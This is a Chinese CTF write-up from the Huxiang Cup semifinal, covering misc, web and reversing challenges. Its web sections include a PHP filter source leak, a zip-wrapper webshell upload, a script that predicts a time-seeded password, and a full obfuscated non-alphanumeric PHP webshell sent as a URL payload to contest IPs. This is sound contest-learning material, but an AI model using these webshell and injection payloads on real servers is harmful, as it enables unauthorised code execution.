湖湘杯复赛WriteUp
1.流量分析(misc)
wireshark中HTTP导出对象发现flag.zip,保存得到ce.txt,打开发现是rgb值,脚本生成图片。
考虑到98457不能开方,所以图片尺寸不是正方形,应该是长方形的flag值,因式分解得到337887.
实验后长宽为887*111.
from PIL import Image
x=887
y=111
f = open("ce.txt", 'r')
RGBInfo = f.readlines()
f.flaglose()
flag = Image.new("RGB", (x, y))
for i in range(0, x):
for j in range(0, y):
rgb = RGBInfo[i * y + j].split(", ")
flag.putpixel([i, j],(int(rgb[0]), int(rgb[1]), int(rgb[2])))
flag.show()
flag.save("D:\Flag.jpg")
2.MISC300
根据第二行的S’The black pixels of a b/w image are at’
观察到文件中的数据是具有固定格式,是经过pickle模块序列化后的。
使用pickle可以得到坐标列表。(x,y)……..
import pickle
from PIL import Image
with open('pixels.jpg.pkl') as file:
data = pickle.loads(file.read().encode('utf8'))
info = [(int(e[0]), int(e[1])) for e in data[1:]]
width = max([p[0] for p in info]) + 1
height = max([p[1] for p in info]) + 1
flag = Image.new('1',(width, height),0)
point = flag.load()
for pixel in info:
point[pixel[0], pixel[1]] = 255
flag.show()
flag.save("D:\Flagg.jpg")
3.热身运动(misc)
动图,23个图层,8X8棋盘格,对应64进制转换。解base64得到flag。
25 38 49 33 25 55 44 49 29 5 60 49 13 21 61 38 29 22 57 46 30 23 52
=>ZmxhZ3sxdF8xNV9mdW5ueX0
=>flag{1t_15_funny} (解base64)
4.web200
op参数能读取执行功能的php,尝试用伪协议读取源码。(直接就能读flag.php ……)
php://filter/read=convert.base64-encode/resource=xxx
得到源码:
home.php
<?php
include 'common.php';
?>
<center>
<div class="article">
<h2>Welcome!!</h2>
<p>
We let you upload PNG image files and store it!<br/>
</p>
<p>
Get started by <a href="?op=upload">uploading a picture</a>
</p>
</div>
</center>
指向common.php
<?php
if(!defined('FROM_INDEX')) die();
define('MAX_IM_SIZE', 100);
function create_image_key() {
return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() . mt_rand());
}
function load_image($imagekey) {
if(1 !== preg_match('/[0-9a-f]{40}/', $imagekey)) {
fatal('Invalid image key.');
}
$im = imagecreatefrompng("uploads/{$imagekey}.png");
if(!$im) {
fatal('Failed to load image.');
}
return $im;
}
stream_wrapper_unregister ("zip");
将一句话打包压缩zip,如果不能直接上传就改一下后缀。通过伪协议getshell。
5.web150
–by Windylh
通过.index.php.swp得到源码
<?php
error_reporting(0);
$flag = "*********************";
echo "please input a rand_num !";
function create_password($pw_length = 10){
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++){
$randpwd .= chr(mt_rand(100, 200));
}
return $randpwd;
}
session_start();
mt_srand(time());
$pwd=create_password();
echo $pwd.'||';
if($pwd == $_GET['pwd']){
echo "first";
if($_SESSION['userLogin']==$_GET['login'])
echo "Nice , you get the flag it is ".$flag ;
}else{
echo "Wrong!";
}
$_SESSION['userLogin']=create_password(32).rand();
?>
根据时间戳生成随机数然后与pwd参数对比,可以用python脚本来getflag。
import requests
url='http://114.215.138.89:10080/'
data=requests.get(url).content
data=data.split(b'||')[0].split(b'<br>')[1]
get={'pwd':data}
data=requests.get(url,get).content
print data
6.web300
题目提示getshell,并且过滤颇多。
要用仅剩的特殊字符构造webshell。
webshell
$_=[].'';$_=$_['('==')'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
payload
http://114.215.71.135:10080/?content=%24_%3D%5B%5D.%27%27%3B%24_%3D%24_%5B%27%7B%27%3D%3D%27%7D%27%5D%3B%24___%3D%24_%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24___.%3D%24__%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24___.%3D%24__%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24___.%3D%24__%3B%24____%3D%27_%27%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24____.%3D%24__%3B%24__%3D%24_%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24__%2b%2b%3B%24____.%3D%24__%3B%24_%3D%24%24____%3B%24___%28%24_%5B_%5D%29%3B
到shell页面执行命令getflag。
7.简单的安卓逆向
–by Windylh
下载apk,反编译。查看Mainactivity得到flag。
8.Re4newer
–by NexusHE
本题大概思路就是在程序中存储了一系列字符串,将其各位与0x22异或计算,并将其按顺序拼接起来,需要注意的是,拼接按照的顺序有问题,需要自己根据语序拼接起来
#include <stdio.h>
int main() {
int v2 = 43;
int v[100] = {
0x5F,0x56,0x13,0x7D, //_1t}
0x71,0x51,0x63,0x52,
0x7D,0x57,0x7D,0x67,
0x67,0x67,0x70,0x70,
0x70,0x7D,0x47,0x4E, //le_R
0x52,0x4F,0x4B,0x51, //simp
0x7D,0x5B,0x50,0x11, //3ry_
0x54,0x7D,0x63,0x7D, //_A_v
0x71,0x4B,0x7D,0x51, //s_iS
0x13,0x4A,0x76,0x59, //{Th1
0x45,0x43,0x4E,0x44, //flag
};
do {
printf("%c", v[v2] ^ 0x22);
v2--;
}
while(v2 > -1);
return 0;
}
9.Encryptor.apk
–by NexusHE
本题大概是一个文件加密的apk,先是有一个内置的密码”Password”,计算其MD5值,将其按位取值与待加密的文件字节做异或运算,再另存到另一个文件。将其逆向处理,便获得源文件。
import java.io.*;
import java.nio.*;
import java.security.*;
import java.util.*;
public class script {
public static void main(String[] args) throws Exception{
String password = "Password";
String path = "flag.encrypted";
byte[] file1 = toByteArray(path);
MessageDigest localMessageDigest = MessageDigest.getInstance("MD5");
localMessageDigest.reset();
localMessageDigest.update(password.getBytes());
byte[] pass = localMessageDigest.digest();
byte[] f2 = decrypt(file1, pass);
File file2 = new File("x.jpg");
FileOutputStream fos = new FileOutputStream(file2);
fos.write(f2);
fos.close();
}
public static byte[] decrypt(byte[] x, byte[] y) {
int i = (byte)y.length;
byte[] temp = new byte[x.length];
for(int j = 0; j < x.length; j++) {
temp[j] = ((byte)(x[j] ^ y[(j % i)]));
}
return temp;
}
public static byte[] toByteArray(String filename) throws IOException{
File f = new File(filename);
if(!f.exists()){
throw new FileNotFoundException(filename);
}
ByteArrayOutputStream bos = new ByteArrayOutputStream((int)f.length());
BufferedInputStream in = null;
try{
in = new BufferedInputStream(new FileInputStream(f));
int buf_size = 1024;
byte[] buffer = new byte[buf_size];
int len = 0;
while(-1 != (len = in.read(buffer,0,buf_size))){
bos.write(buffer,0,len);
}
return bos.toByteArray();
}catch (IOException e) {
e.printStackTrace();
throw e;
}finally{
try{
in.close();
}catch (IOException e) {
e.printStackTrace();
}
bos.close();
}
}
}
10.pyc分析
–by NexusHE
本题先给了一个pyc文件,将其反编译后,得到很长一串代码,仔细关系发现其写法类似于函数式编程语言,在根据lambda规则研究之后,代码化简至以下:
#Embedded file name: rev300.py
__g = globals()
__y = (lambda f: (lambda x: x(x))(lambda y: f(lambda : y(y)())))
string = (__import__('string', __g, __g))
table = (string.printable.strip())
"""
setbit = (lambda p, pos, value: (lambda __l: [ [ [ (lambda __target, __slice, __value: [ (lambda __target, __slice, __value: [ __l['p'] for __target[__slice] in [(lambda __old: (lambda __ret: (__old | __value if __ret is NotImplemented else __ret))(getattr(__old, '__ior__', lambda other: NotImplemented)(__value)))(__target[__slice])] ][0])(__l['p'], __l['cpos'], __l['value'] << __l['bpos']) for __target[__slice] in [(lambda __old: (lambda __ret: (__old & __value if __ret is NotImplemented else __ret))(getattr(__old, '__iand__', lambda other: NotImplemented)(__value)))(__target[__slice])] ][0])(__l['p'], __l['cpos'], ~(1 << __l['bpos'])) for __l['bpos'] in [__l['pos'] % 8] ][0] for __l['cpos'] in [__l['pos'] / 8] ][0] for __l['p'], __l['pos'], __l['value'] in [(p, pos, value)] ][0])({}))
setbit.__name__ = 'setbit'
getbit = (lambda p, pos: (lambda __l: [ [ [ __l['p'][__l['cpos']] >> __l['bpos'] & 1 for __l['bpos'] in [__l['pos'] % 8] ][0] for __l['cpos'] in [__l['pos'] / 8] ][0] for __l['p'], __l['pos'] in [(p, pos)] ][0])({}))
getbit.__name__ = 'getbit'
encode = (lambda data, buf: (lambda __l: [ [ (lambda __items, __after, __sentinel: __y(lambda __this: lambda : (lambda __i: ([ [ __this() for __l['data'][__l['i']] in [table.index(__l['data'][__l['i']]) + 1] ][0] for __l['i'] in [__i] ][0] if __i is not __sentinel else __after()))(next(__items, __sentinel)))())(iter(xrange(__l['_len'])), lambda : (lambda __items, __after, __sentinel: __y(lambda __this: lambda : (lambda __i: ([ [ [ __this() for __l['buf'] in [setbit(__l['buf'], __l['i'], getbit(__l['data'], __l['j']))] ][0] for __l['j'] in [__l['i'] / 6 * 8 + __l['i'] % 6] ][0] for __l['i'] in [__i] ][0] if __i is not __sentinel else __after()))(next(__items, __sentinel)))())(iter(xrange(__l['_len'] * 6)), lambda : __l['buf'], []), []) for __l['_len'] in [len(__l['data'])] ][0] for __l['data'], __l['buf'] in [(data, buf)] ][0])({}))
encode.__name__ = 'encode'
"""
def setbit(p,pos,value):
bpos = pos % 8
cpos = pos / 8
s = p
s[cpos] = p[cpos] & (~(1 << bpos))
s[cpos] = p[cpos] | (value << bpos)
return s
def getbit(p,pos):
bpos = pos % 8
cpos = pos / 8
return p[cpos] >> bpos & 1
def encode(data, buf):
indexdata = []
for i in xrange(len(data)):
indexdata.append(table.index(data[i]) + 1)
res = buf
for i in xrange(len(data)*6):
j = i / 6 * 8 + i % 6
setbit(res, i, getbit(indexdata, j))
return res
def encrypt():
fin = open('key.txt', 'r')
s = fin.read().strip()
fin.close()
ss = ([])
sss = ([])
__items = iter(s)
__after = (lambda : [ [ (lambda __items, __after, __sentinel: __y(lambda __this: lambda : (lambda __i: ([ (lambda __value: [ __this() for __g['sssss'] in [(lambda __ret: (__g['sssss'] + __value if __ret is NotImplemented else __ret))(getattr(__g['sssss'], '__iadd__', lambda other: NotImplemented)(__value))] ][0])(chr(c)) for __g['c'] in [__i] ][0] if __i is not __sentinel else __after()))(next(__items, __sentinel)))())(iter(ssss), lambda : [ (fout.write(sssss), (fout.close(), None)[1])[1] for __g['fout'] in [open('key1.enc', 'wb+')] ][0], []) for __g['sssss'] in [''] ][0] for __g['ssss'] in [encode(ss, sss)] ][0])
__sentinel = ([])
__y(lambda __this: lambda : (lambda __i: ([ (ss.append(c), (sss.append(0), __this())[1])[1] for __g['c'] in [__i] ][0] if __i is not __sentinel else __after()))(next(__items, __sentinel)))()
加密的大体规则为把原字符存在table的index+1后,把后6位保存到加密后的文件里。根据此编写解密代码:
def decrypt():
fin = open('key.enc','rb')
cipher = fin.read()
plain = ''
def decode3b(s):
a = s >> 16
b = (s >> 8) & 0xFF
c = s & 0xff
sa = bin(a)[2:].zfill(8)
sb = bin(b)[2:].zfill(8)
sc = bin(c)[2:].zfill(8)
return table[int(sa[2:], 2)] + table[int(sb[4:] + sa[:2], 2)] + table[int(sc[6:] + sb[:4], 2)] + table[int(sc[:6], 2)]
for i in xrange(0,len(cipher),3):
s = int(cipher[i:i+3].encode('hex'),16)
plain += decode3b(s)
print plain
return ''.join(table[(table.index(c) + 63) % 64] for c in plain)
if __name__ == '__main__':
print decrypt()
得到
iiiiirrrrLfzea844d181c3249f6gtttggggggg0000000000000
hhhhhqqqqKeyd9733c070b2138e5fsssfffffff”””””””””””””
去掉乱码及一个冒号变成”d“,flag为key之后的一串字符串:
9733c070b2138e5f